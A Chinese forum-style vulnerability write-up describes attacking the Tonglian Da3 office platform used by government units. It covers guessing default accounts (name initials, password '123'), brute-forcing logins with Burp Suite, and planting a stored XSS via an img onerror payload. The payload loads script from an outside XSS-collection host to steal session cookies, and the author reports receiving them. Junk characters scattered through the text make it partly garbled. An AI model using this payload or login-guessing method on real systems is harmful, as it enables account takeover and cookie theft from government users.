同联Da3协同办公平台后台通用储存型xss漏洞

admin

- F A4 _$ c! N3 n4 m1 G: } % N6 ^3 k ]) | H0 e ' W1 r! J. e# Q3 Y) K 9 J' K; p8 J2 v9 Y9 Z/ l b 4 [6 U" @6 B$ U; @( { + [; r! u; `0 e# }( v( A. H2 }' x

0 b ?7 a; o x3 W% K 同联Da3协同办公平台后台通用储存型xss漏洞

) p7 Y8 j, D3 s6 M: v6 a 平台简介： 7 [$ K8 X1 V8 Y. x+ L9 |, t4 c1 @ D

# L4 v& ?) F, H, n+ ~- ^& J n   * L) R* ]0 \4 o% K: h4 f

1 \# _* b# t* k

$ ~8 o* b5 ~7 w; R$ r 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
! p0 h: v5 O3 Q6 t3 W5 E/ y同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
" e# u) T5 N4 Z1 j/ S同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

0 x4 G1 ?# e9 F0 X- s# C

3 u t0 [5 a0 Q+ ~  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 6 n) G& d* X) m. g1 q! S- X j4 s

* D' D6 L. _' J& t6 n7 ?2 b1 Q

4 G! l& X) T2 H  

* U( b; b, B( f8 E& T7 a http://1.1.1.1:7197/cap-aco/#（案例2-） & l0 Q e: R% Z! l1 H

, i' Y k- n* z3 q; y4 P

http://www.XXOO.com （案例1-官网网站） 8 ~. A3 g, k1 r) i0 V7 ]/ p6 y# h; J

漏洞详情: + z$ o8 G1 W# A' ?

 案例一、

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 5 j7 _( k1 N9 K/ z8 y) R

% ]( O/ e+ D! b4 K

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

# K1 |, X* t2 a! w, U) P4 m6 d

- Q8 u' O9 t5 \, K  

4 I/ q: F+ t( z" }4 m9 ` |) ]5 x

: |- c, w3 L6 o2 v: i4 e

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： # Q5 e$ j' C' r1 P0 Y

 

2 C1 u4 J7 M/ n/ I3 k/ {7 j$ k

4 ?" q$ Q v# M& f

/ j2 I# v1 k! S- G: \0 G% i4 K 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

- W: ]1 z: m7 Q

 

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： $ W5 E {" L9 ^/ x; f3 k" u) n

4 s R* P- V" ?2 }% Z: m, {# `2 Z

( E" q2 ~% r7 S# ^ . c# D+ m9 Z/ y0 v x

3 j0 f% t7 M) Y) F7 b4 j 然后发送，接收cookie如图： - Q2 d$ B2 F1 j' |. |: ~% L& o( A

1 v5 }" a6 n ?3 x! {, ^

$ C- Y6 V9 w K+ p: f) n) L   G4 B5 J$ ^0 M$ b& O

1 B& z& t3 R% S/ s3 B

  ' O3 Z3 E! E, u4 B9 V$ [

# z$ t+ b$ I: `: E1 i$ v

 

2 y, e0 f- Z1 j6 J( x3 z  

* n0 b0 S5 s9 i6 Y- h

9 V% f0 T" `$ S8 J* {* A5 `- U

 

8 Y9 f, `5 E7 K0 O+ `/ J) I: B/ \ 案例2、 & a# i3 X7 Y" ?5 V7 I

/ J- b: \& l0 s$ Q 前面步骤都一样，下面看效果图：

. }, ?" h6 r5 ]0 X! |1 H, L" O

4 W5 ?, L J! s/ g2 Q! N

! b$ A. i3 M, I

5 C F" z: P+ F, d v2 p2 v& u" `

/ m: X$ x0 _' N

  6 j/ E' G/ {/ I

+ K. H+ J+ C7 u& u' g0 s( r

 

" {( S: M% d1 r, D, a 6 L% r2 b9 \/ I# l2 H2 f& y9 k

  8 \9 q- Z8 T2 I) [+ u. ~

9 m. F4 l7 _# C1 K5 V; s* }( \  

  ) N6 q- o$ p) W8 I& a" x

  N6 s0 h1 v: C0 E. h$ U f& j